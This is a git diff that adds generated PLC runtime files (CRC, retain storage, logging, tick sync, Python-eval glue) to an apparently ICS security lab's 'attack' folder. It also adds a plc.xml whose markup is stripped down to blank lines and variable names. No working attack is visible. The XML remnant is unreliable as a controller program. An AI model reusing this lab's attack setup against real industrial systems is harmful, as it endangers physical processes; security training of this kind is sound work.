0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + 